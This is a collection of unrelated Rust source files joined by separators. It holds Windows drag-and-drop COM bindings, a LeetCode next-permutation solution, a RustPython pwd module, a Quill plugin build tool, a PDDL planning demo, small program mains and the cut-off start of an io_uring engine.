pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragInfo(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragInfo {
type Vtable = ICoreDragInfo_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x48353a8b_cb50_464e_9575_cd4e3a7ab028);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragInfo_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut super::DragDropModifiers) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut super::super::super::super::Foundation::Point) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragInfo2(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragInfo2 {
type Vtable = ICoreDragInfo2_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0xc54691e5_e6fb_4d74_b4b1_8a3c17f25e9e);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragInfo2_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut super::super::DataPackageOperation) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragOperation(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragOperation {
type Vtable = ICoreDragOperation_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0xcc06de4f_6db0_4e62_ab1b_a74a02dc6d85);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragOperation_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, pointerid: u32) -> ::windows::core::HRESULT,
#[cfg(feature = "Graphics_Imaging")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, softwarebitmap: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Graphics_Imaging"))] usize,
#[cfg(all(feature = "Foundation", feature = "Graphics_Imaging"))] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, softwarebitmap: ::windows::core::RawPtr, anchorpoint: super::super::super::super::Foundation::Point) -> ::windows::core::HRESULT,
#[cfg(not(all(feature = "Foundation", feature = "Graphics_Imaging")))] usize,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut CoreDragUIContentMode) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: CoreDragUIContentMode) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragOperation2(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragOperation2 {
type Vtable = ICoreDragOperation2_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x824b1e2c_d99a_4fc3_8507_6c182f33b46a);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragOperation2_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut super::super::DataPackageOperation) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: super::super::DataPackageOperation) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragUIOverride(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragUIOverride {
type Vtable = ICoreDragUIOverride_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x89a85064_3389_4f4f_8897_7e8a3ffb3c93);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragUIOverride_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
#[cfg(feature = "Graphics_Imaging")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, softwarebitmap: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Graphics_Imaging"))] usize,
#[cfg(all(feature = "Foundation", feature = "Graphics_Imaging"))] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, softwarebitmap: ::windows::core::RawPtr, anchorpoint: super::super::super::super::Foundation::Point) -> ::windows::core::HRESULT,
#[cfg(not(all(feature = "Foundation", feature = "Graphics_Imaging")))] usize,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct ICoreDropOperationTarget(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDropOperationTarget {
type Vtable = ICoreDropOperationTarget_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0xd9126196_4c5b_417d_bb37_76381def8db4);
}
impl ICoreDropOperationTarget {
#[cfg(feature = "Foundation")]
pub fn EnterAsync<'a, Param0: ::windows::core::IntoParam<'a, CoreDragInfo>, Param1: ::windows::core::IntoParam<'a, CoreDragUIOverride>>(&self, draginfo: Param0, draguioverride: Param1) -> ::windows::core::Result<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), draginfo.into_param().abi(), draguioverride.into_param().abi(), &mut result__).from_abi::<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn OverAsync<'a, Param0: ::windows::core::IntoParam<'a, CoreDragInfo>, Param1: ::windows::core::IntoParam<'a, CoreDragUIOverride>>(&self, draginfo: Param0, draguioverride: Param1) -> ::windows::core::Result<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), draginfo.into_param().abi(), draguioverride.into_param().abi(), &mut result__).from_abi::<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn LeaveAsync<'a, Param0: ::windows::core::IntoParam<'a, CoreDragInfo>>(&self, draginfo: Param0) -> ::windows::core::Result<super::super::super::super::Foundation::IAsyncAction> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), draginfo.into_param().abi(), &mut result__).from_abi::<super::super::super::super::Foundation::IAsyncAction>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn DropAsync<'a, Param0: ::windows::core::IntoParam<'a, CoreDragInfo>>(&self, draginfo: Param0) -> ::windows::core::Result<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), draginfo.into_param().abi(), &mut result__).from_abi::<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>>(result__)
}
}
}
unsafe impl ::windows::core::RuntimeType for ICoreDropOperationTarget {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"{d9126196-4c5b-417d-bb37-76381def8db4}");
}
impl ::core::convert::From<ICoreDropOperationTarget> for ::windows::core::IUnknown {
fn from(value: ICoreDropOperationTarget) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&ICoreDropOperationTarget> for ::windows::core::IUnknown {
fn from(value: &ICoreDropOperationTarget) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for ICoreDropOperationTarget {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a ICoreDropOperationTarget {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<ICoreDropOperationTarget> for ::windows::core::IInspectable {
fn from(value: ICoreDropOperationTarget) -> Self {
value.0
}
}
impl ::core::convert::From<&ICoreDropOperationTarget> for ::windows::core::IInspectable {
fn from(value: &ICoreDropOperationTarget) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for ICoreDropOperationTarget {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a ICoreDropOperationTarget {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDropOperationTarget_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, draginfo: ::windows::core::RawPtr, draguioverride: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, draginfo: ::windows::core::RawPtr, draguioverride: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, draginfo: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, draginfo: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDropOperationTargetRequestedEventArgs(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDropOperationTargetRequestedEventArgs {
type Vtable = ICoreDropOperationTargetRequestedEventArgs_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x2aca929a_5e28_4ea6_829e_29134e665d6d);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDropOperationTargetRequestedEventArgs_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, target: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
|
/*
* @lc app=leetcode.cn id=31 lang=rust
*
* [31] 下一个排列
*
* https://leetcode-cn.com/problems/next-permutation/description/
*
* algorithms
* Medium (29.96%)
* Total Accepted: 8.9K
* Total Submissions: 29.7K
* Testcase Example: '[1,2,3]'
*
* 实现获取下一个排列的函数,算法需要将给定数字序列重新排列成字典序中下一个更大的排列。
*
* 如果不存在下一个更大的排列,则将数字重新排列成最小的排列(即升序排列)。
*
* 必须原地修改,只允许使用额外常数空间。
*
* 以下是一些例子,输入位于左侧列,其相应输出位于右侧列。
* 1,2,3 → 1,3,2
* 3,2,1 → 1,2,3
* 1,1,5 → 1,5,1
*
*/
// 从后往前找到第一个递减的数, 在后面找到一个刚比他大一点的数替换,把后面的数弄成顺序排列
// [4, 5, 3, 2] -> [5,2,3,4] 找到第一个递减的 也就是 4
// 然后在后面的数中找到一个刚比他大的数 也就是 5
// 和 4 互换位置 然后 把 4 3 2 弄成顺序排列 5 2 3 4
impl Solution {
pub fn next_permutation(nums: &mut Vec<i32>) {
let mut b = true;
let mut idx: usize = 0;
let l = nums.len();
for i in (1..l).rev() {
if nums[i - 1] < nums[i] {
b = false;
idx = i - 1;
break;
}
}
if b {
nums.reverse();
} else {
let mut i = l - 1;
while nums[i] <= nums[idx] {
i -= 1;
}
nums.swap(idx, i);
let mut i = idx + 1;
let mut j = l - 1;
while i < j {
nums.swap(i, j);
i += 1;
j -= 1;
}
}
}
}
fn main() {
check(&mut vec![1, 2, 3]);
check(&mut vec![3, 2, 1]);
check(&mut vec![2, 3, 1]);
check(&mut vec![1, 4, 3, 2]);
check(&mut vec![1, 1, 5]);
check(&mut vec![3, 2, 3, 4]);
check(&mut vec![1, 2, 3, 4]);
}
fn check(v: &mut Vec<i32>) {
print!("{:?} --> ", v);
Solution::next_permutation(v);
println!("{:?}", v);
}
struct Solution {}
|
pub(crate) use pwd::make_module;
#[pymodule]
mod pwd {
use crate::{
builtins::{PyIntRef, PyStrRef},
convert::{IntoPyException, ToPyObject},
exceptions,
types::PyStructSequence,
PyObjectRef, PyResult, VirtualMachine,
};
use nix::unistd::{self, User};
use std::ptr::NonNull;
#[pyattr]
#[pyclass(module = "pwd", name = "struct_passwd")]
#[derive(PyStructSequence)]
struct Passwd {
pw_name: String,
pw_passwd: String,
pw_uid: u32,
pw_gid: u32,
pw_gecos: String,
pw_dir: String,
pw_shell: String,
}
#[pyclass(with(PyStructSequence))]
impl Passwd {}
impl From<User> for Passwd {
fn from(user: User) -> Self {
// this is just a pain...
let cstr_lossy = |s: std::ffi::CString| {
s.into_string()
.unwrap_or_else(|e| e.into_cstring().to_string_lossy().into_owned())
};
let pathbuf_lossy = |p: std::path::PathBuf| {
p.into_os_string()
.into_string()
.unwrap_or_else(|s| s.to_string_lossy().into_owned())
};
Passwd {
pw_name: user.name,
pw_passwd: cstr_lossy(user.passwd),
pw_uid: user.uid.as_raw(),
pw_gid: user.gid.as_raw(),
pw_gecos: cstr_lossy(user.gecos),
pw_dir: pathbuf_lossy(user.dir),
pw_shell: pathbuf_lossy(user.shell),
}
}
}
#[pyfunction]
fn getpwnam(name: PyStrRef, vm: &VirtualMachine) -> PyResult<Passwd> {
let pw_name = name.as_str();
if pw_name.contains('\0') {
return Err(exceptions::cstring_error(vm));
}
let user = User::from_name(name.as_str()).map_err(|err| err.into_pyexception(vm))?;
let user = user.ok_or_else(|| {
vm.new_key_error(
vm.ctx
.new_str(format!("getpwnam(): name not found: {pw_name}"))
.into(),
)
})?;
Ok(Passwd::from(user))
}
#[pyfunction]
fn getpwuid(uid: PyIntRef, vm: &VirtualMachine) -> PyResult<Passwd> {
let uid_t = libc::uid_t::try_from(uid.as_bigint())
.map(unistd::Uid::from_raw)
.ok();
let user = uid_t
.map(User::from_uid)
.transpose()
.map_err(|err| err.into_pyexception(vm))?
.flatten();
let user = user.ok_or_else(|| {
vm.new_key_error(
vm.ctx
.new_str(format!("getpwuid(): uid not found: {}", uid.as_bigint()))
.into(),
)
})?;
Ok(Passwd::from(user))
}
// TODO: maybe merge this functionality into nix?
#[pyfunction]
fn getpwall(vm: &VirtualMachine) -> PyResult<Vec<PyObjectRef>> {
// setpwent, getpwent, etc are not thread safe. Could use fgetpwent_r, but this is easier
static GETPWALL: parking_lot::Mutex<()> = parking_lot::const_mutex(());
let _guard = GETPWALL.lock();
let mut list = Vec::new();
unsafe { libc::setpwent() };
while let Some(ptr) = NonNull::new(unsafe { libc::getpwent() }) {
let user = User::from(unsafe { ptr.as_ref() });
let passwd = Passwd::from(user).to_pyobject(vm);
list.push(passwd);
}
unsafe { libc::endpwent() };
Ok(list)
}
}
|
use anyhow::{bail, Context};
use argh::FromArgs;
use heck::CamelCase;
use quill_plugin_format::{PluginFile, PluginMetadata};
use std::{
fs,
path::PathBuf,
process::{Command, Stdio},
};
const TARGET_FEATURES: &str = "target-feature=+bulk-memory,+mutable-globals,+simd128";
const TARGET: &str = "wasm32-wasi";
const COMPRESSION_LEVEL: u32 = 6;
#[derive(Debug, FromArgs)]
/// Cargo subcommand to build and test Quill/Feather plugins.
struct CargoQuill {
#[argh(subcommand)]
subcommand: Subcommand,
}
#[derive(Debug, FromArgs)]
#[argh(subcommand)]
enum Subcommand {
Build(Build),
}
#[derive(Debug, FromArgs)]
#[argh(subcommand, name = "build")]
/// Build a Quill plugin.
struct Build {
#[argh(switch)]
/// whether to build in release mode
release: bool,
}
fn main() -> anyhow::Result<()> {
let args: CargoQuill = argh::from_env();
match args.subcommand {
Subcommand::Build(args) => build(args),
}
}
fn build(args: Build) -> anyhow::Result<()> {
let mut command = cargo_build_command(&args);
let status = command.spawn()?.wait()?;
if !status.success() {
bail!("build failed");
}
let (meta, mut target_dir) = find_metadata()?;
target_dir.push(TARGET);
if args.release {
target_dir.push("release");
} else {
target_dir.push("debug");
}
let wasm_bytecode = fs::read(target_dir.join(format!("{}.wasm", meta.identifier)))
.context("failed to read compiled WASM binary")?;
let target_path = target_dir.join(format!("{}.plugin", meta.identifier));
let file = PluginFile::new(wasm_bytecode, meta);
fs::write(&target_path, file.encode(COMPRESSION_LEVEL))?;
println!("Wrote plugin file to {}", target_path.display());
Ok(())
}
fn cargo_build_command(args: &Build) -> Command {
let mut cmd = Command::new("cargo");
cmd.arg("rustc");
if args.release {
cmd.arg("--release");
}
cmd.args(&["--target", TARGET]);
cmd.args(&["--", "-C", TARGET_FEATURES]);
cmd.stdout(Stdio::piped());
cmd
}
fn find_metadata() -> anyhow::Result<(PluginMetadata, PathBuf)> {
let cmd = cargo_metadata::MetadataCommand::new();
let cargo_meta = cmd.exec()?;
let package = cargo_meta.root_package().context("missing root package")?;
let quill_dependency = package
.dependencies
.iter()
.find(|d| d.name == "quill")
.context("plugin does not depend on the `quill` crate")?;
let plugin_meta = PluginMetadata {
name: package.name.to_camel_case(),
identifier: package.name.clone(),
version: package.version.to_string(),
api_version: quill_dependency.req.to_string(),
description: package.description.clone(),
authors: package.authors.clone(),
};
Ok((plugin_meta, cargo_meta.target_directory))
}
|
use aries::planning::classical::search::*;
use aries::planning::classical::{from_chronicles, grounded_problem};
use aries::planning::parsing::pddl_to_chronicles;
//ajout pour initialisation de l'historique
use aries::planning::classical::state::*;
//ajout pour gerer fichier
use std::fs::File;
use std::io::{Write, BufReader, BufRead, Error};
fn main() -> Result<(), String> {
//fichier de sortie
let arguments: Vec<String> = std::env::args().collect();
if arguments.len() != 3 {
return Err("Usage: ./gg <domain> <problem>".to_string());
}
let dom_file = &arguments[1];
let pb_file = &arguments[2];
let dom = std::fs::read_to_string(dom_file).map_err(|o| format!("{}", o))?;
let prob = std::fs::read_to_string(pb_file).map_err(|o| format!("{}", o))?;
let spec = pddl_to_chronicles(&dom, &prob)?;
let lifted = from_chronicles(&spec)?;
let grounded = grounded_problem(&lifted)?;
let symbols = &lifted.world.table;
match plan_search(
&grounded.initial_state,
&grounded.operators,
&grounded.goals,
) {
Some(plan) => {
// creation
let plan2=plan.clone();
let planex=plan.clone();
let planot=plan.clone();
/*
for sta in grounded.initial_state.literals(){
println!("init state: {} ",sta.val());
}
*/
println!("init size : {}", grounded.initial_state.size());
println!("=============");
println!("Got plan: {} actions", plan.len());
println!("=============");
let mut etat = grounded.initial_state.clone();
let mut histo = Vec::new();
let mut affichage=Vec::new();
let mut count =0;
let mut index =0;
while index < etat.size() {
let init=defaultresume();
histo.push(init);
index=index+1;
}
for &op in &plan {
//inserer la création de l'état intermediaire ici
//etat=step(&etat,&op,&grounded.operators);
let (e,h)=h_step(&etat,&op,&grounded.operators,count,histo);
etat=e;
histo=h.clone();
println!("{}", symbols.format(grounded.operators.name(op)));
if count ==10{
affichage=h.clone();
}
compare(&etat,&grounded.initial_state);
count=count+1;
}
println!("=============");
println!("affichage historique etape 10");
println!("=============");
let mut var=0;
for res in affichage{
if res.numero()>=0 {
let opr=res.op();
let opr=opr.unwrap();
let affiche = &grounded.operators.name(opr);
//terminer affichage afficher operator lié à l'Op opr
println!("variable {}, {} dernier opérateur à l'avoir modifié, durant l'étape {}", var,symbols.format(affiche) ,res.numero() );
//let pre=grounded.operators.preconditions(opr);
//println!(" précond {}",*pre.val());
}
var=var+1;
}
println!("=============");
println!("affichage cause opérateur");
println!("=============");
let cause=causalite(12,plan2,&grounded.initial_state,&grounded.operators);
let op=plan.get(12).unwrap();
let opname=&grounded.operators.name(*op);
println!("Affichage des Opérateur nécessaire à {} de l'étape {}",symbols.format(opname),12);
println!("=========");
for res in cause{
match res.op(){
None => println!("variable non changé depuis l'état initial"),
Some(Resume)=>println!("{}, de l'étape {}",symbols.format(&grounded.operators.name(res.op().unwrap())),res.numero()),
//_ => (),
}
}
println!("=============");
println!("GOALS");
let iterbut = grounded.goals.iter();
for but in iterbut{
println!("goal state: {} ",but.val());
}
let plandot=plan.clone();
let planmenace=plan.clone();
let planmenace2=plan.clone();
let planex2=plan.clone();
fichierdot(plan, &grounded, &lifted.world);
let nec=explicabilite(planex,&grounded);
let nec1=nec.clone();
for i in nec {
i.affiche();
}/*
nec.get(1).unwrap().affiche();
nec.get(2).unwrap().affiche();
nec.get(10).unwrap().affiche();*/
let nec2=uniexpli(nec1);
println!("=============");
for i in nec2 {
i.affiche();
}
let nec3=dijkstra(planex2,&grounded);
println!("=====Dijk========");
for i in nec3 {
i.affiche();
}
let planex2=planot.clone();
let temp=inversibilite(planot,&grounded);
affichageot(temp);
fichierdottemp(plandot,&grounded,&lifted.world);
fichierdotmenace(planmenace,&grounded,&lifted.world);
fichierdotmenace2(planmenace2,&grounded,&lifted.world);
//expli
let planmenace2=planex2.clone();
xdijkstra(planex2,&grounded);
xmenace2(planmenace2,&grounded);
}
None => println!("Infeasible"),
}
Ok(())
}
|
use std::{env, fs, process};
use std::error::Error;
use std::net::Shutdown::Read;
use minigrep::Config;
fn main() {
let config = Config::new(env::args()).unwrap_or_else(|err| {
eprintln!("Problem parsing arguments: {}", err);
process::exit(1);
});
if let Err(e) = minigrep::run(config) {
eprintln!("Application error: {}", e);
process::exit(1);
}
}
|
use crate::config::Config;
use log::LevelFilter;
use simple_logging;
mod config;
mod datastructure;
mod postprocessors;
mod raytracer;
mod renderer;
mod scene;
mod generator;
mod shader;
mod util;
fn main() {
simple_logging::log_to_stderr(LevelFilter::Debug);
// Config::default().dump("config.yml")
// .unwrap();
Config::load("configurations/monte-carlo.yml")
.unwrap()
.run()
.unwrap();
// GlowStoneGamma.run()
}
|
use std::io;
use std::os::unix::io::RawFd;
use std::pin::Pin;
use std::task::{Context, Poll};
use futures_core::ready;
use crate::completion::Completion;
use crate::drive::Completion as ExternalCompletion;
use crate::drive::Drive;
use crate::event::Cancellation;
use State::*;
pub struct Engine<Ops, D: Drive> {
state: State,
active: Option<Ops>,
fd: RawFd,
completion: Option<Completion>,
driver: D,
}
#[derive(Debug, Eq, PartialEq)]
enum State {
Inert = 0,
Prepared,
Submitted,
Lost,
}
impl<Ops, D: Drive> Engine<Ops, D> {
#[inline(always)]
pub fn new(fd: RawFd, driver: D) -> Engine<Ops, D> {
Engine {
state: Inert,
active: None,
completion: None,
fd, driver,
}
}
#[inline(always)]
pub fn active(&self) -> Option<&Ops> {
self.active.as_ref()
}
#[inline(always)]
pub fn set_active(self: Pin<&mut Self>, op: Ops) {
unsafe { Pin::get_unchecked_mut(self).active = Some(op) }
}
#[inline(always)]
pub fn unset_active(self: Pin<&mut Self>) {
unsafe { Pin::get_unchecked_mut(self).active = None }
}
#[inline(always)]
pub fn fd(&self) -> RawFd {
self.fd
}
#[inline]
pub unsafe fn poll(
mut self: Pin<&mut Self>,
ctx: &mut Context<'_>,
